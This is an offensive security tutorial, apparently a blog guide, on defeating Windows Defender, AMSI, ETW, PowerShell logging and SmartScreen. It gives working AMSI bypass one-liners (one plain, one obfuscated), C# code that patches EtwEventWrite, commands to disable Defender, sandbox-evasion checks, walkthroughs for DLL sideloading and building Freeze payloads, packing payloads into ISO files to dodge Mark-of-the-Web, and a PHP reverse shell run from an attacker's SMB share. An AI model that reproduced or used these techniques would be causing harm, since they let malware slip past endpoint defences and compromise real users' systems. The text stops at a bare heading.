Antivirus (AV) Bypass
In this guide, we provide a deep dive into Windows Antivirus (AV) and Endpoint Detection and Response (EDR) bypass techniques, empowering red teamers and advanced penetration testers with up-to-date,
Become VeryLazyTech member! π
Follow us on:
β Twitter @VeryLazyTech.
πΎ Github @VeryLazyTech.
π Medium @VeryLazyTech.
πΊ YouTube @VeryLazyTech.
π© Telegram @VeryLazyTech.
π΅οΈββοΈ My Site @VeryLazyTech.
Visit our shop for e-books and courses. π
Stop Windows Defender (Bypass Microsoft Defender)
When performing red team operations or malware testing in lab environments, disabling or bypassing Windows Defender (Microsoft Defender) is often a necessary first step. While modern Defender versions are harder to disable, there are still a few common tools and techniques used to neutralize it β especially if you have administrative privileges.
defendnot β Kill Defender in One Click
defendnot
is a lightweight tool designed to disable Windows Defender by modifying key services and registry entries. It's often used in post-exploitation stages where persistence is already achieved. Keep in mind that many versions of this tool are flagged as malicious, so execution must be stealthy or obfuscated.
Features:
Disables real-time protection
Stops Defender services
Modifies registry keys to prevent reactivation
no-defender β Fake AV Method
The no-defender
script uses a clever method to fool Windows into thinking another antivirus solution is installed. This triggers Windows Security Center to automatically disable Defender to prevent conflicts.
How it works:
Fakes the presence of another AV solution by editing WMI or registry entries
Causes Defender to automatically shut itself down
Requires minimal permissions and leaves fewer traces than brute-force disabling
β Effective in environments where you cannot fully disable Defender, but need to suppress its real-time scanning.
Manual Defender Disable (Admin Rights Required)
If you have administrative privileges, the most direct method is to disable Defender manually via PowerShell or Group Policy.
PowerShell (Run as Admin):
Set-MpPreference -DisableRealtimeMonitoring $true
Group Policy:
Run
gpedit.msc
Navigate to:
Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus
Set Turn off Microsoft Defender Antivirus to Enabled
This will completely shut down Defender, though modern Windows versions may automatically reactivate it after a while or after reboot.
AV Evasion Methodology
If youβve ever created a tool or payload for a red team exercise, malware lab, or ethical hacking test, youβve probably seen your file get instantly flagged or deleted by antivirus software β even before you could run it.
Thatβs because modern security tools like Windows Defender and EDR (Endpoint Detection and Response) software are much smarter than they used to be. They donβt just look for viruses β they analyze how files behave, both before and after execution.
In this guide, weβll break down how AVs detect malware and how attackers try to bypass each layer using real-world examples.
Static Detection β "Caught Without Even Running"
Static detection is the simplest and fastest method. The antivirus scans your file before it runs, and checks:
Known virus signatures (patterns of code)
Suspicious or malicious strings (e.g.,
mimikatz
,powershell -enc
)Metadata (file name, version, company name, icon)
File structure (e.g., abnormal PE headers or compressed sections)
π οΈ How to Bypass It:
π Encryption
Attackers encrypt the malicious part of the code so antivirus canβt see it. A loader program decrypts it during runtime.
Encrypting a Cobalt Strike beacon and using a C# loader to inject it into memory.
π Obfuscation
They change the code's appearance without changing what it does. This confuses signature scanners.
Replace all strings like "mimikatz" with "miXXkz" and decode them at runtime.
βοΈ Custom Tools
They build their own tools from scratch, so there's no existing signature.
Writing a custom LSASS dumper in C instead of using mimikatz.exe.
β Pro Tip: Use ThreatCheck
Itβs a tool that helps you test which parts of your file Defender doesnβt like. It breaks your file into pieces and checks which ones trigger detection.
Dynamic Analysis β "Let's See What It Actually Does"
If your file passes the static checks, AVs may run it in a sandbox β a fake computer environment β to see what it tries to do.
If your file starts:
Dumping passwords
Spawning PowerShell
Reading browser cookies β¦itβll probably get blocked.
π οΈ How to Avoid Sandboxes:
β³ Sleep Before Execution
They delay the malicious action. Sandboxes only run files for a short time.
Add a sleep(60) command. If the sandbox only watches for 10 seconds, it wonβt catch anything.
β οΈ Advanced sandboxes may skip sleep calls, so attackers use tricky sleep methods (like CPU loops or encryption delays).
π» Check for Low Resources
Most sandboxes have very little RAM and CPU to stay fast.
If RAM < 2GB, exit the program.
π₯οΈ Machine Checks (Anti-Sandbox Tricks)
They check if the file is running on a real userβs machine or a fake one.
Microsoft Defender's sandbox uses a computer name called HAL9TH
. So malware can do:
if (computer_name == "HAL9TH") exit();
β‘οΈ Example: Only run if the system is part of a real company domain like contoso.local
.
It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
π‘οΈ EXE vs DLL Payloads for AV Evasion
When it comes to bypassing antivirus (AV) detection, Dynamic Link Libraries (DLLs) often present a lower detection profile compared to standard executable (EXE) files. This observation is especially true in the context of offensive security tools like Havoc, where detection signatures for EXEs are more mature and widely distributed among endpoint protection platforms.
In practical red team operations, it's generally advisable to favor DLL payloads over EXEs whenever feasible. This is because DLL files tend to attract less immediate scrutiny, both from static and dynamic analysis engines. There are several reasons for this:
Less common as direct execution targets: DLLs are typically loaded by another process rather than executed directly, making them less likely to be flagged during casual analysis.
Execution context control: DLLs can be injected into trusted processes (e.g., via
rundll32.exe
,regsvr32.exe
, or manual injection), allowing more stealthy execution chains.Fewer behavioral triggers: Since DLLs are often executed through indirect methods, they may not immediately display suspicious behavior, helping them evade heuristic or behavioral detection models.
π Case Comparison β EXE vs DLL Detection Rates
As demonstrated in the following virustotal.com comparison, a standard Havoc DLL payload showed a significantly lower detection rate compared to its EXE counterpart:
EXE Payload: Detected by 7 out of 26 engines
DLL Payload: Detected by only 4 out of 26 engines
This doesn't imply DLLs are undetectable β all payloads can and eventually will be caught if reused enough β but the lower signature profile makes DLLs a better starting point for stealthy execution.
𧬠DLL Sideloading & Proxying for Stealthy Payload Execution
DLL Sideloading is a well-known and highly effective technique for achieving stealthy execution of malicious code by exploiting the Windows DLL search order. The concept is simple: many applications load DLLs from their own directory before searching system paths. By placing a malicious DLL alongside a trusted application, you can trick the application into loading your code instead of the legitimate library.
This technique is particularly valuable in red team engagements, especially when you want to blend into legitimate application behavior.
π Identifying DLL Sideloading Opportunities
To discover applications susceptible to DLL sideloading, tools like Siofra are incredibly useful. Below is a PowerShell script that recursively scans executables within C:\Program Files\
and checks for potential DLL hijack opportunities:
powershellCopyEditGet-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name | ForEach-Object {
$binaryToCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binaryToCheck
}
This will produce a list of applications and the DLLs they attempt to load β helping you target candidates for hijacking.
β οΈ Important Note: Many public sideloading targets are widely known and monitored by EDRs. Always test and verify before using them in an engagement. Prefer discovering new, lesser-known targets for stealthier operations.
π DLL Proxying: Preserving Application Functionality
Simply dropping a DLL with the correct filename is not enough. Applications often expect the loaded DLL to expose specific exported functions. If these are missing, the application may crash or fail to load the DLL.
To overcome this, we use DLL Proxying (or Forwarding) β a technique where the malicious DLL:
Implements required exports that forward calls to the original DLL.
Executes the payload alongside this forwarding logic.
This preserves the original functionality of the application while allowing malicious code execution β making it extremely stealthy.
π οΈ Building a Proxy DLL with SharpDLLProxy
Weβll use the excellent SharpDllProxy tool by @flangvik to automate the creation of proxy DLLs:
Steps to Create a Working Proxy DLL:
Identify a vulnerable application Use tools like Siofra or Process Hacker to find a binary that loads external DLLs insecurely.
Generate shellcode For example, using Havoc C2.
(Optional) Encode the shellcode To further obfuscate detection, you can use an encoder like Shikata Ga Nai (SGN).
Generate the proxy code Use SharpDllProxy to generate forwarding stubs and inject the shellcode:
.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin
This will generate:
A C source file that proxies the original DLL and executes your payload.
The renamed original DLL to forward calls to.
Compile the proxy DLL
Open Visual Studio and create a new C++ DLL project.
Paste the proxy code from
output_dllname/dllname_pragma.c
.Build the DLL.
Deploy your proxy DLL Place it alongside the target executable under the expected DLL name.
βοΈ Freeze: Stealthy Shellcode Execution via Direct Syscalls & Suspended Processes
Freeze is a lightweight and powerful payload delivery toolkit developed by Optiv. It is designed to evade modern Endpoint Detection and Response (EDR) solutions by leveraging several advanced evasion techniques, including:
Suspended process injection
Direct system calls (syscalls)
Custom shellcode encryption and execution
Bypassing userland API hooks
Freeze is particularly effective in situations where traditional injection techniques (e.g., CreateRemoteThread
, VirtualAllocEx
) are flagged by AV/EDR.
βοΈ How Freeze Works
Freeze creates an executable payload stub that, when launched, will:
Decrypt and load embedded shellcode.
Spawn a suspended legitimate process (e.g.,
notepad.exe
ordllhost.exe
).Inject the shellcode using direct syscalls instead of standard Windows APIs β avoiding common detection triggers.
Resume the target process, executing your shellcode in memory.
This approach minimizes behavioral anomalies and avoids detection by user-mode hooks that most EDRs rely on.
π οΈ Using Freeze with Havoc Shellcode
Hereβs a quick walkthrough for building and using Freeze with shellcode generated from Havoc C2:
Clone and build Freeze:
git clone https://github.com/optiv/Freeze.git cd Freeze go build Freeze.go
Generate your shellcode (e.g., raw
.bin
payload from Havoc C2 or any shellcode generator like msfvenom or Donut).Build the Freeze payload with encryption enabled:
./Freeze -I demon.bin -encrypt -O demon.exe
-I demon.bin
: Input shellcode.-encrypt
: Encrypt the payload in the stub for obfuscation.-O demon.exe
: Output filename.
Execution Run the resulting
demon.exe
. It will launch a trusted process in a suspended state, inject your shellcode using direct syscalls, and resume execution β without triggering Microsoft Defender or most commercial EDRs (as of the last test).

β Result: In controlled tests, Freeze-enabled payloads executed silently with no alerts from Windows Defender, thanks to its combination of encryption, syscalls, and stealthy process manipulation.
π§ AMSI (Anti-Malware Scan Interface)
AMSI, or Anti-Malware Scan Interface, is a security feature introduced by Microsoft to detect and block fileless malware β that is, malicious code that never touches disk and only lives in memory.
Before AMSI, antivirus programs mainly scanned files stored on your hard drive. This meant if an attacker delivered a payload directly into memory (like through PowerShell or VBScript), traditional AV engines couldnβt catch it. AMSI was built to close that gap.
π What is AMSI and Where Does It Work?
AMSI is integrated directly into the Windows OS, especially in scripting and automation components. This means when you run a script, AMSI steps in to scan its contents before itβs executed β even if it's obfuscated or loaded directly into memory.
AMSI is active in:
PowerShell β Both scripts and commands typed interactively
Windows Script Host β
wscript.exe
,cscript.exe
(for VBScript and JavaScript)Office Macros β Like VBA in Excel or Word
JavaScript/VBScript β When run on Windows
UAC (User Account Control) β When launching
.exe
,.msi
,.com
, or ActiveX installers.NET applications β Starting from .NET Framework 4.8, even in-memory loaded code is scanned
When malicious or suspicious code is detected, AMSI passes it to the antivirus engine (like Windows Defender) to decide whether to block it.
π§ͺ AMSI in Action
Letβs say you try running this PowerShell command:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
This script attempts to download and execute a known offensive PowerShell tool (PowerView) β all in memory. You might think this would go unnoticed because nothing hits the disk.
However, AMSI inspects the script before it runs. Defender flags it with a message like:
amsi: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Detected malicious content
Even though no file was saved, AMSI still caught it because it analyzes live memory content.
βοΈ Why .NET Version Matters
If youβre using .NET 4.8 or higher, AMSI is also applied to C# assemblies, including those loaded using:
Assembly.Load(byte[])
This means even if your payload is in-memory, .NET will pass it through AMSI. For this reason, attackers often target older .NET versions like 4.7.2 or below, where this check doesnβt exist.
π© Common AMSI Bypass Techniques
Now that you know what AMSI does, here are real-world techniques attackers use to bypass it. Each has pros, cons, and detection risks.
1. π Script Obfuscation
Since AMSI looks for known malicious patterns, attackers try to hide or change how their code looks.
For example:
Change variable names
Break up keywords
Encode parts of the script
β οΈ However, AMSI is capable of deobfuscating even layered obfuscation, especially if it uses common techniques. This means obfuscation might work β or it might fail badly. It all depends on how well the obfuscation is done and how aggressively AMSI is configured.
2. π§± Forcing AMSI to Fail (amsiInitFailed Trick)
AMSI is implemented as a DLL (Dynamic Link Library) thatβs loaded into every script engine (like PowerShell, wscript, etc.). If that DLL fails to initialize, AMSI doesn't work.
This line forces AMSI to βfail silentlyβ:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
π‘ This disables AMSI in the current PowerShell process.
β Works even as an unprivileged user β But: This command is heavily flagged today β most AVs detect and block it immediately.
3. π§ Modified AMSI Bypass (Obfuscated Version)
Hereβs an obfuscated version of the AMSI bypass to reduce detection:
Try{
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = '[email protected]ΓΒ£nΓΒ£g' + 'e@+nt.Auto@' + 'ΓΒ£tion.A' -join ''
$fdx = '@ms' + 'ΓΒ£InΓΒ£' + 'tF@ΓΒ£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('ΓΒ£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('ΓΒ£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
β οΈ Important: This will probably get flagged as well over time. Once bypass techniques become public, AV signatures are updated quickly.
4. 𧬠Memory Patching (AmsiScanBuffer Hack)
Discovered by @RastaMouse, this technique involves:
Locating the function
AmsiScanBuffer
insideamsi.dll
Overwriting it in memory to always return
E_INVALIDARG
(which means: βeverything is fineβ to AMSI)
β
Itβs stealthier than the amsiInitFailed
trick
β Requires deep understanding of memory manipulation and riskier if done wrong
You can read the detailed guide here: π https://rastamouse.me/memory-patching-amsi-bypass/
5. π§Ή Removing AMSI Signatures From Memory
Tools like:
π§ PSAmsi
π§ AMSITrigger
These scan the process memory for AMSI detection signatures and then overwrite them (usually with NOP instructions). Itβs like wiping fingerprints before the cops arrive.
6. βοΈ Tools that Help Bypass AMSI
π οΈ AMSI.fail: Generates multiple evasion-ready AMSI bypass payloads
π whoamsi: Lists which AV/EDR products use AMSI
7. π« Use PowerShell v2 (No AMSI at All)
If you start PowerShell in version 2 mode, AMSI doesnβt load at all.
powershell.exe -version 2
β οΈ This version is deprecated, and many systems disable it. But if itβs enabled, itβs a fast way to run unscanned scripts.
π PowerShell Logging
PowerShell Logging is a built-in Windows feature designed to monitor and record PowerShell activity on a system. This is a powerful forensic and security tool that allows defenders to:
Track every PowerShell command that was executed
Identify usage of suspicious scripts
Detect lateral movement and post-exploitation actions
From a defensive perspective, logging is great. But from an attackerβs point of view, itβs a huge risk β because every move is recorded.
π‘οΈ What Does PowerShell Log Exactly?
Modern versions of Windows log PowerShell activity in several different ways:
π 1. Script Block Logging
Records entire blocks of code, even if itβs obfuscated.
Even dynamically generated scripts (e.g., using
Invoke-Expression
) are captured.
π 2. Module Logging
Logs all commands executed within PowerShell modules.
Useful to see when someone uses tools like PowerView or PowerSploit.
ποΈ 3. Transcription Logging
Acts like a keylogger for PowerShell.
Records all input and output to a text file, line by line.
These logs are typically stored in Event Viewer under:
Applications and Services Logs > Windows PowerShell
and
Microsoft-Windows-PowerShell/Operational
.
π¨ Why This Matters for Red Teamers and Attackers
If you're using PowerShell to perform tasks like privilege escalation, lateral movement, or payload execution β logging will expose you, even if you never drop a file to disk or use obvious malware.
Thatβs why bypassing PowerShell logging is a common tactic used by attackers and red teamers alike.
βοΈ Common Techniques to Bypass PowerShell Logging
Letβs break down practical methods used to evade PowerShell logging. These arenβt magic bullets β but understanding them is critical if you're studying offensive security or trying to improve detection.
π 1. Disable Script Logging (If You Have Access)
If you already have code execution and want to turn off logging at runtime, there are tools that do this automatically.
β
Tool: DisablePSLogging.cs
This C# tool disables:
Script Block Logging
Module Logging
Transcription Logging
π οΈ How it works:
Modifies registry keys and internal PowerShell variables in memory.
Requires .NET and appropriate permissions (not necessarily admin, but some techniques might require elevated context).
β οΈ Important: This technique may not work on hardened systems with enforced group policies or EDR hooks.
π΅οΈ 2. Use PowerShell Version 2 (No Logging, No AMSI)
powershell.exe -version 2
Launching PowerShell in version 2 mode disables modern features like:
AMSI (Anti-Malware Scan Interface)
Script Block Logging
Transcription Logging
β οΈ PowerShell v2 is deprecated and often disabled on newer Windows systems, but if itβs still enabled, this is a fast and simple evasion method.
π§© 3. Use an Unmanaged PowerShell Session
A much more stealthy method is to launch PowerShell without using powershell.exe
at all.
β
Tool: UnmanagedPowerShell
This C# project allows you to:
Run PowerShell scripts from memory
Avoid
powershell.exe
, AMSI, and logging entirely
π§ How it works:
Loads the PowerShell engine directly from the .NET runtime
Does not invoke
π§© Code Obfuscation
Code obfuscation is a technique used to make your code harder to analyze, reverse-engineer, or detect β especially by antivirus (AV), endpoint detection and response (EDR) systems, and reverse engineers.
But obfuscation is a double-edged sword: while it hides your code logic, it can also increase the entropy (randomness) of the binary. Ironically, this makes it more suspicious to AV/EDR engines, which often flag high-entropy files as potentially malicious.
Thatβs why it's important to apply obfuscation strategically, focusing only on parts of your code that handle sensitive logic, payload execution, or recognizable malware patterns.
π§ What Is Entropy and Why It Matters
Entropy, in this context, refers to how "random" or "chaotic" the data looks.
Encrypted or heavily obfuscated binaries have higher entropy than normal programs, which makes them stand out during static analysis. Antivirus engines look for this as a signal of potential obfuscation, packing, or encryption.
β Tip: Only obfuscate critical sections of your code β such as payload execution, loader logic, or signature-heavy strings β rather than the whole binary.
π οΈ Top Tools for Obfuscating Code and Binaries
Hereβs a curated list of popular obfuscation tools used in red teaming, malware development, and software protection. Each one serves a slightly different purpose β some are for C#, others for C++, and some for low-level PE obfuscation.
π ConfuserEx (for .NET)
Language: C# / .NET Framework
Purpose: Obfuscate and protect .NET applications
Features: Control flow obfuscation, anti-debugging, anti-tampering, and string encryption
π‘ Recommended because it allows selective obfuscation β you can choose which parts of the code to protect.
GitHub: ConfuserEx
π₯· InvisibilityCloak
Language: C#
Purpose: Lightweight C# code obfuscator
Features: Basic obfuscation for PowerShell loaders and .NET implants
Use Case: Red teamers hiding C# beacon droppers or reflective loaders
π§ Obfuscator-LLVM (for C/C++)
Language: C/C++
Purpose: LLVM compiler fork with built-in obfuscation capabilities
Features: Control flow flattening, instruction substitution, bogus control flow
Use Case: Compile native binaries with embedded obfuscation techniques
GitHub: obfuscator-llvm
π‘ ADVobfuscator
Language: C++11/14
Purpose: Compile-time C++ obfuscation
Features: Uses template metaprogramming to obfuscate strings and logic during compilation
Benefits: No third-party tools or binary modification required
π obfy
Language: C++
Purpose: Template-based obfuscation framework
Use Case: Adds complex operations to slow down reverse engineering
π Great for making static analysis and disassembly more difficult.
π΄ββ οΈ Alcatraz
Type: x64 binary obfuscator
Targets: PE files like
.exe
,.dll
,.sys
Features: Obfuscates code and metadata to defeat static analysis
π‘ Useful for native shellcode loaders or drivers you want to keep hidden from signature-based detection.
𧬠metame
Type: Metamorphic engine
Purpose: Rewrites executable code into different but equivalent forms
Use Case: Avoid signature detection by constantly mutating the binary structure
π This is more advanced and less common β used in custom malware development.
π ROPfuscator
Type: Assembly-level obfuscation using ROP (Return-Oriented Programming)
Language: LLVM-compatible languages (C/C++)
What it does: Replaces normal code with ROP chains, completely breaking traditional control flow
Use Case: Highly evasive binaries that are extremely difficult to analyze
GitHub: ROPfuscator
π‘οΈ Nimcrypt
Language: Nim
Purpose: .NET PE crypter
Use Case: Encrypt and encode .NET executables with simple or layered encryption
π₯ Increasingly popular in offensive security due to Nimβs ability to generate lightweight, low-detection binaries.
GitHub: Nimcrypt
π£ Inceptor
Purpose: Converts
.exe
or.dll
into shellcodeBonus: Supports AV evasion by obfuscating and encoding binaries before loading them in memory
Use Case: Combine with manual injection tools or loaders to avoid writing payloads to disk
GitHub: Inceptor
Tool Selection Cheat Sheet
ConfuserEx
C# / .NET
.NET binary obfuscator
Obfuscating C# implants and droppers
InvisibilityCloak
C#
Lightweight obfuscator
Red team scripts or loaders
Obfuscator-LLVM
C/C++
Compiler-integrated
Native malware or loaders
ADVobfuscator
C++11/14
Compile-time obfuscation
C++ agents or RATs
Alcatraz
Any x64 binary
Binary-level obfuscator
PE shellcode loaders
Nimcrypt
Nim
.NET crypter
AV evasion for .NET payloads
Inceptor
N/A
Shellcode conversion tool
Convert binaries into shellcode
π§± Bypassing SmartScreen and Mark-of-the-Web (MoTW)
When you download an .exe
file from the internet and try to run it, you might have seen a warning like:
βWindows protected your PC β Microsoft Defender SmartScreen prevented an unrecognized app from starting.β
Thatβs Microsoft Defender SmartScreen in action β a security feature designed to protect users from running unknown or potentially harmful applications.
In this section, weβll break down what SmartScreen and MoTW are, how they work, and what techniques attackers use to bypass them in real-world scenarios.
π‘οΈ What is SmartScreen?
SmartScreen is a reputation-based protection system developed by Microsoft. It doesnβt scan the file like antivirus engines do β instead, it asks:
Has this file been downloaded by many people?
Is it signed by a trusted certificate?
Is the source URL known for distributing malware?
If the file is rare, unsigned, or comes from an untrusted source, SmartScreen displays a warning prompt to the user, blocking execution by default.
π§ Important Note: The user can still override this by clicking More Info > Run Anyway
, but this extra friction can stop casual execution β especially in phishing or malware campaigns.
π What is Mark-of-the-Web (MoTW)?
When a file is downloaded from the internet using browsers, email clients, or other tools, Windows automatically tags it with metadata to indicate it came from an external (potentially unsafe) source.
This metadata is called Mark-of-the-Web, or MoTW, and it's stored in a special NTFS Alternate Data Stream (ADS) attached to the file, named:
Zone.Identifier
This ADS includes:
The zone (e.g., Internet Zone)
The URL where the file came from
The referrer URL
π You can view this metadata with:
Get-Content .\payload.exe -Stream Zone.Identifier
If MoTW is present and the file is an .exe
, .dll
, .js
, or other executable type, SmartScreen, AMSI, or PowerShell logging may trigger additional security checks.
β
Trusted Certificates Bypass SmartScreen
If your executable is digitally signed with a valid, trusted code-signing certificate, SmartScreen will not block it β even if itβs newly created.
π Thatβs why many malware campaigns (and red teamers) use stolen or purchased code-signing certificates to bypass SmartScreen reputational checks.
π¦ Bypassing MoTW with Container Files
A highly effective trick to prevent the Mark-of-the-Web from being applied is to package the payload inside a container file, such as:
.iso
(disk image).vhd
(virtual hard disk).zip
(in some cases)
Why does this work?
MoTW can only be applied to files on NTFS partitions. When files are inside containers like ISO images, and mounted locally, they donβt carry the Zone.Identifier stream β because the file system inside the ISO isnβt NTFS.
So, if you deliver your payload inside an .iso
file:
The user downloads the ISO
They mount it
The payload runs without SmartScreen warnings, even if it came from the web
π§ Tool Spotlight: PackMyPayload
PackMyPayload is a tool created by Mariusz Banach (@mgeeky
) that automatically packages your .exe
or .dll
payload into an .iso
file to bypass MoTW and SmartScreen prompts.
π§ͺ Example Usage:
python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
π¦ This will generate a file like container.iso
containing your original payload, ready to send.
When the ISO is mounted and the executable is run from it:
Thereβs no Zone.Identifier stream
SmartScreen is less likely to trigger warnings
Defender may still scan the binary, but MoTW-specific protections are neutralized

π‘ Event Tracing for Windows (ETW)
ETW, or Event Tracing for Windows, is a powerful logging and telemetry feature built directly into the Windows operating system. It allows the system and applications to log detailed events that can be used for:
Performance monitoring
Debugging
Security auditing and threat detection
Many modern EDR (Endpoint Detection and Response) systems and antivirus engines use ETW behind the scenes to collect telemetry data without injecting code or hooking APIs, making it a stealthy and efficient way to monitor whatβs happening on a system.
π How ETW Works
ETW uses event providers to generate logs, and event consumers (like security products) to collect and analyze them.
Some common Windows components that act as ETW providers include:
PowerShell (via the
Microsoft-Windows-PowerShell
provider).NET runtime (via
Microsoft-Windows-DotNETRuntime
)Sysmon, if installed
Any custom ETW-aware application
Security tools listen to these providers to detect suspicious activity like:
PowerShell script execution
DLL injection
Process creation
Reflective assembly loading
π§ How to Bypass ETW Logging
Just like with AMSI, thereβs a known technique to disable ETW logging for a specific process at runtime by patching its memory.
The key target is the function:
EtwEventWrite
This function is responsible for emitting ETW events from user-mode processes. If you patch this function in memory so that it returns immediately without writing anything, you effectively disable ETW logging for that process.
π οΈ Practical ETW Bypass: In-Memory Patching
Hereβs the general idea:
Locate the address of
EtwEventWrite
within the current processβs memory spaceOverwrite the functionβs first few bytes with a stub (e.g., return
0
)As a result, calls to
EtwEventWrite
become no-ops
This is very similar to AMSI bypasses that patch AmsiScanBuffer
.
Example (C# Concept):
IntPtr funcAddr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
uint oldProtect;
VirtualProtect(funcAddr, 4, PAGE_EXECUTE_READWRITE, out oldProtect);
Marshal.Copy(new byte[] { 0xC3 }, 0, funcAddr, 1); // 0xC3 = RET instruction
β οΈ This disables ETW only for the current process β security tools may still see other indicators (like new process creation or memory injection from another process).
π More Info & Resources
If you want to explore ETW bypasses in detail, check out these trusted resources:
π Blog: Hiding your .NET attacks from ETW by @xpn
π Docs: ETW Providers Documentation
π C# Assembly Reflection
One of the most effective techniques for stealthy post-exploitation in modern red teaming is loading C# assemblies directly into memory using reflection. This allows attackers to run powerful .NET tools like PowerView, Seatbelt, or custom implants without writing a single file to disk β making it much harder for antivirus (AV) and EDR (Endpoint Detection and Response) tools to detect.
This technique, often referred to as in-memory assembly loading or assembly reflection, is widely used in frameworks like:
π οΈ Cobalt Strike
π§ͺ Sliver
πΆοΈ Covenant
β οΈ Metasploit
π£ Havoc C2
π§ Why This Technique Works
When a C# binary is executed normally (e.g., running Seatbelt.exe
), the file is dropped to disk, scanned by AV, and may get blocked.
However, using reflection, you can:
Load the binary as a byte array in memory
Execute its entry point using the `.NET runtime** β without ever writing the file to disk
This means:
No file hashes to scan
No executable on disk to flag
No signature-based detection if you patch AMSI first
π‘ The only thing you must handle is AMSI (Anti-Malware Scan Interface), which scans .NET methods and PowerShell scripts in memory. Once thatβs bypassed, you're in the clear.
π§ͺ Two Common Execution Modes
There are two primary ways to execute C# assemblies in memory: Inline and Fork & Run. Each has its pros and cons.
π 1. Fork & Run
What it does:
Creates a sacrificial process (e.g.,
notepad.exe
,dllhost.exe
)Injects the C# assembly or shellcode into that process
Executes it
Kills the process after completion
β Benefits:
Your main implant (beacon) stays safe β if the payload crashes or gets detected, it doesn't kill your C2 session
Can bypass basic EDR process tree correlations if done properly
β Drawbacks:
Spawning new processes is noisy
Behavioral detections may alert on suspicious child processes or code injection behavior
π Common in: Cobalt Strikeβs execute-assembly
, Sliverβs spawn
options, Havocβs fork modules
π 2. Inline Execution
What it does:
Loads and runs the C# assembly within the same process (i.e., your current beacon or agent process)
β Benefits:
No process creation = less noise
Faster and often stealthier than spawning child processes
β Drawbacks:
If the injected assembly crashes, it could crash your whole implant
Memory-based behavioral hooks may still catch the execution depending on how the code is structured
π Inline execution is often paired with AMSI patching and ETW patching for stealth.
π§ Tools & Resources for In-Memory Assembly Execution
Here are some great tools and references to help you implement this technique or study it deeper:
πΉ InlineExecute-Assembly BOF
BOF (Beacon Object File) by xforcered that lets you execute .NET assemblies inline from Cobalt Strike, without writing them to disk.
Based on techniques covered in this article: Inline .NET Assembly Execution (SecurityIntelligence)
πΉ Invoke-SharpLoader
PowerShell script that loads compiled C# assemblies directly from memory.
Great for quick tests or integrating into custom scripts.
Practical red team demonstration of reflective assembly loading via C# and PowerShell.
Shows bypasses for AMSI, ETW, and more.
π AMSI Reminder
Before loading any assembly, make sure you patch AMSI first. You can use:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Or use an obfuscated/custom variant to bypass Defenderβs signature detection.
Using Other Programming Languages to Evade AV Detection
When most people think about antivirus (AV) evasion, they focus on PowerShell, C#, or traditional shellcode. But thereβs a powerful and often overlooked strategy: leveraging other scripting languages like Go, Java, PHP, Python, and more β especially in environments where those interpreters are not installed locally.
This technique is described in detail in the open-source project LOI-Bins. Here's how it works:
π How It Works β Step by Step
π₯οΈ Attacker Sets Up an SMB Share
First, you create a network-shared folder on your system (e.g., using SMB) that contains:
The language interpreter binary (like
java.exe
,php.exe
,go.exe
, etc.)Your payload script (e.g., a reverse shell written in PHP or Java)
Any necessary runtime or environment files
π― Victim Machine Accesses the SMB Share
From the compromised host, you execute the language interpreter directly from the SMB share without copying it to disk. For example:
\\attacker-ip\share\php.exe \\attacker-ip\share\rev.php
This executes your PHP script in-memory using the interpreter you provide β even if PHP is not installed on the target machine.
π₯ Payload Executes with Minimal Detection
Since the payload never touches the disk and the interpreter runs from the network share, you avoid many traditional AV detections.
Some AVs may still scan the content in memory, but because youβre using non-standard languages, you bypass most static signatures that typically target PowerShell, batch files, or common C# loaders.
π― Why This Works
π‘οΈ AV is tuned to catch common tools like PowerShell, mshta, rundll32, etc.
π§ By using less common interpreters (like Go, Java, or PHP), youβre operating outside of the usual detection patterns.
β οΈ While Microsoft Defender may still scan the script content in some cases, testing shows that even plain reverse shells written in these languages often execute successfully, especially when:
They are not obfuscated
Run from memory via SMB
Use custom or rarely used interpreters
Example
Letβs say you have a simple reverse shell written in PHP like this:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"); ?>
On the victim machine, you can run:
\\attacker-ip\share\php.exe \\attacker-ip\share\shell.php
This:
Doesnβt require PHP to be installed
Avoids dropping anything locally
Runs entirely from your attacker-controlled SMB share
Slips past many signature-based AV tools
π Pro Tips
Use uncommon versions of interpreters (e.g., old Go or Java runtimes) to avoid hash-based detection.
Digitally sign the binaries if you're testing in a real-world red team engagement.
Combine with network-level encryption (like SMB over TLS) for better OPSEC.
Always test with different AVs β some may flag interpreter behavior, but many will not.
Token Stomping
